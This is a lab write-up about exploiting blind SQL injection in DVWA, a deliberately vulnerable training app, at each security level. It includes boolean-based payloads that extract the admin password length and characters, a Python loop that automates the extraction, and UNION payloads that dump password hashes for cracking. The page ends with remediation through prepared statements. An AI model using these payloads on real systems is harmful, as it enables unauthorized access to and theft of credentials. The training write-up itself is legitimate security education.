✍️
Writeups and Walkthroughs
HomeGitHubPortfolio Twitter/X Medium Cont@ct
  • ✍️Writeups and Walkthroughs
  • THM
    • Simple CTF
    • RootMe
    • Eternal Blue
    • Vulnversity
    • Pickle Rick
    • Brooklyn Nine Nine
    • Kenobi
    • Bounty Hacker
    • Overpass
    • LazyAdmin
    • Ignite
    • Bolt
    • Agent Sudo
    • Anonymous
    • Startup
    • Wgel
    • Lian_Yu
    • Blog
    • ColdBox
    • H4cked
    • Smag Grotto
    • Ice
    • Blaster
    • The Sticker Shop
    • 🔟OWASP
      • 1️⃣Injection
    • Active Directory Basics
    • Attacktive Directory
    • Post-Exploitation Basics
  • HackTheBox
    • Active
    • Devel
    • Delivery
    • Analytics
    • Bashed
    • Valentine
    • Sau
    • Sunday
    • Cap
    • Bizness
    • Chemistry %
  • Vulnhub
    • Brainpain (BoF)
  • DockerLabs
    • Trust
    • Upload
    • Vacaciones
  • DVWA
    • Install and configure DVWA
    • Command Injection
    • CSRF
    • File Inclusion
    • SQL Injection
    • SQLi Blind
  • Mutillidae II
    • Install & configure OWASP Mutillidae II
    • SQLi
      • SQLi Login Bypass
      • Extracting Data
      • Finding Number of Columns
      • Pivoting with SQL injection
    • Command Injection
      • Extracting User Accounts
      • Web Shell
    • IDOR & File Inclusion
      • Edit Another User's Profile
      • Extracting User Accounts
      • Extracting User Accounts with Local File Inclusion
      • Web Shell with Remote File Inclusion (RFI)
    • XSS
      • XSS Reflected
      • XSS Stored
      • XSS DOM-Based
  • Secure Bank
    • Install & configure Secure Bank
    • -----
      • SQLi Login Bypass
      • Extracting Data
      • Finding Number of Columns
      • Pivoting with SQL injection
    • -----
      • Extracting User Accounts
      • Web Shell
  • PortSwigger - Web Security Academy
    • Burp Suite Config
    • Information Disclosure
      • Information disclosure vulnerabilities
      • Common sources of information disclosure
        • Information disclosure in error messages
        • Information disclosure on debug page
        • Source code disclosure via backup files
        • Authentication bypass via information disclosure
        • Information disclosure in version control history
    • Essential skills
      • Obfuscating attacks using encodings
        • SQL injection with filter bypass via XML encoding
      • Using Burp Scanner
      • Identifying unknown vulnerabilities
    • Server-side vulnerabilities
      • Path traversal
        • File path traversal, simple case
      • Access control
        • Unprotected admin functionality
        • Unprotected admin functionality with unpredictable URL
        • User role controlled by request parameter
        • User ID controlled by request parameter, with unpredictable user IDs
        • User ID controlled by request parameter with password disclosure
      • Authentication
        • Username enumeration via different responses
        • 2FA simple bypass
      • Server-side request forgery (SSRF)
        • Basic SSRF against the local server
        • Basic SSRF against another back-end system
      • File upload vulnerabilities
        • Remote code execution via web shell upload
        • Web shell upload via Content-Type restriction bypass
      • OS Command Injection
        • OS command injection, simple case
      • SQL injection
        • SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
        • SQL injection vulnerability allowing login bypass
    • JWT Attacks
      • Json Web Tokens (JWT)
      • Exploiting JWT
        • JWT authentication bypass via unverified signature
        • JWT authentication bypass via flawed signature verification
        • JWT authentication bypass via weak signing key
        • To-Do
          • JWT authentication bypass via jwk header injection - %
          • JWT authentication bypass via jku header injection - %
          • JWT authentication bypass via kid header path traversal - %
    • API Testing
      • API Testing
        • Exploiting an API endpoint using documentation
        • Finding and exploiting an unused API endpoint
        • Exploiting a mass assignment vulnerability
      • Server-side parameter pollution
        • Exploiting server-side parameter pollution in a query string
    • Deserialization Insecure
      • Serialization vs Deserialization
        • Lab
        • Lab
      • Java Insecure Deserialization
        • Lab
        • Lab
      • PHP Insecure Deserialization
        • Lab
        • Lab
  • HomeMade Labs
    • Active Directory
      • AD Lab Setup
      • AD Enumeration
      • SMB Common Attacks
    • Pivoting
      • Pivoting Theory
      • Pivoting Guidelines
      • Lab (3 Targets)
    • Buffer Overflow (BoF)
      • BoF Theory
      • Brainpain (BoF Lab)
Powered by GitBook
On this page
  • Low
  • Medium
  • High
  • Impossible
  • References
  1. DVWA

SQLi Blind

http://localhost/DVWA/vulnerabilities/sqli_blind/

PreviousSQL InjectionNextMutillidae II

Last updated 3 months ago

What is a SQL Injection Blind?

Blind SQL injection occurs when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors.

Many techniques such as are not effective with blind SQL injection vulnerabilities. This is because they rely on being able to see the results of the injected query within the application's responses. It is still possible to exploit blind SQL injection to access unauthorized data, but different techniques must be used.

Using BurpSuite and the FoxyProxy extension is recommended.

Low

We've an input type text that received an User ID in I by user and submit request using the Submit button:

In SQL Blind we obtain a boolean result (exist or not exist) of our query, then we need to be able to ask correctly information from DB, make script can be the best approach.

This's our request captured by Burp Suite, while here below there's a php source code:

How the same in the low level, there're not input sanitation, then we can send what we want into input type text field. In this case request will arrive to DB located into webserver, but query will be preparared using php language.

Analyzing source code, we know that mysql query is:

SELECT first_name, last_name FROM users WHERE user_id = '$id';

1st Payload (length)

Regarding query and that our input type value is insert into $id variable, we need to do multiple question to DB regarding password length.

Then in this case, we can use following payload: 1' AND (select 'x' from users where first_name='admin' and LENGTH(password) > 31)='x' #

SELECT first_name, last_name FROM users WHERE user_id = '1' AND (select 'x' from users where first_name='admin' and LENGTH(password) > 30)='x' #';

admin password length is > 31?

User ID exists in the DB = true.

We need to continue to ask questions for obtain a correct value.

admin password length is > 32?

No! Answer is wrong, then regarding last two answer, we know that admin password length has 32 characters.

Of course we can use an automated python script to do this automatically:

2nd Payload (value)

starting with the first character, up to the last (which we know from the length we have just obtained) we must repeatedly query the DB asking whether or not the password character of the i-th position includes one of the possible alphanumeric characters.

for i in range(1, password_length+1):
    for c in ALPHABET:
        sql_payload = f"1' AND (select substring(password, {i}, 1) from users where first_name='{username}')='{c}' #"
        if sql2bool(sql_payload):
            password += c
            print(c, end="", flush=True) # to print in a cool way
            break

Then, our query will be:

1' AND (select substring(password, 1, 1) from users where first_name='admin')='5' #

SELECT first_name, last_name FROM users WHERE user_id = '1' AND (select substring(password, 1, 1) from users where first_name='admin')='5' #';

Is the first character of admin password equals to 'a'?

No! again, is the first character of admin password equals to '5'?

Very good, the first character is 5, then we can continue to increment index and redo all questions until the final string will be discovered.

The input is not sanitized, so I can execute any (potentially malicious) command.

Medium

Here, there're a select with range (1 to 5) to set User ID.

In addition to low level, in the code below there're an escape string control and query variable $ID isn't enclosed by ''.

Our request include an ID + Submit values.

But, we can modify ID value using Burp Suite repeater function:

1st Payload

Remembering that $ID variable isn't enclosed by '', escape string control isn't a matter.

Then in this case, we can use following payload: 1 OR 1=1 --

SELECT first_name, last_name FROM users WHERE user_id = 1 OR 1=1 -- ;

in the where condition there're a first search to user with this id '' OR a true condition, plus a comment.

2nd Payload

SELECT first_name, last_name FROM users WHERE user_id = 1 UNION SELECT first_name,password FROM users -- ';

Note: Every SELECT statement within UNION must have the same number of columns.

The input is not sanitized, so I can execute any (potentially malicious) command.

High

In this level clicking on first page, we obtain a redirect to a second page to submit effectively our Session ID:

1st Payload

In this case payload is always the same of low level, but we need to add it into second page, infact we've two request (GET and POST)

However, we can use following payload: 1' OR 1=1 --

SELECT first_name, last_name FROM users WHERE user_id = '1' OR 1=1 -- ';

that permit us to see all DB results:

2nd Payload

SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT first_name,password FROM users -- ';

Note: Every SELECT statement within UNION must have the same number of columns.

The input is not sanitized, so I can execute any (potentially malicious) command.

Impossible

All this permits to separate sql code with sql data/parameter insert by user.

References

For the making of this solution the following resource were used:

How the low level, regarding that query selects: first_name, last_name field from users table, we can use operator to add a new query: 1 UNION select first_name,password from users --

We obtain hash of psw to eventually crack using tools such as: and .

How last levels, we can use operator to add a new query: ' UNION select first_name,password from users --

We obtain hash of psw to eventually crack using tools such as: and .

The best solution is to sanitize query using a prepared statement, to delineate part static and dinamic (id) of query; take a binding parameter to check if is it an integer or char; insert a control to count rows number as result; and use a token.

UNION
UNION
CSRF
https://github.com/LeonardoE95/DVWA/tree/main/src/sqli_blind
UNION attacks
What is Blind SQL Injection? Tutorial & Examples | Web Security AcademyWebSecAcademy
https://portswigger.net/web-security/sql-injection/blind
Logo
https://github.com/LeonardoE95/DVWA/blob/main/src/sqli_blind/low.py
Hashcat
John The Ripper
Hashcat
John The Ripper
15 - SQL Injection
SQLMaphttps://www.kali.org/tools/sqlmap/ https://tryhackme.com/room/sqlmap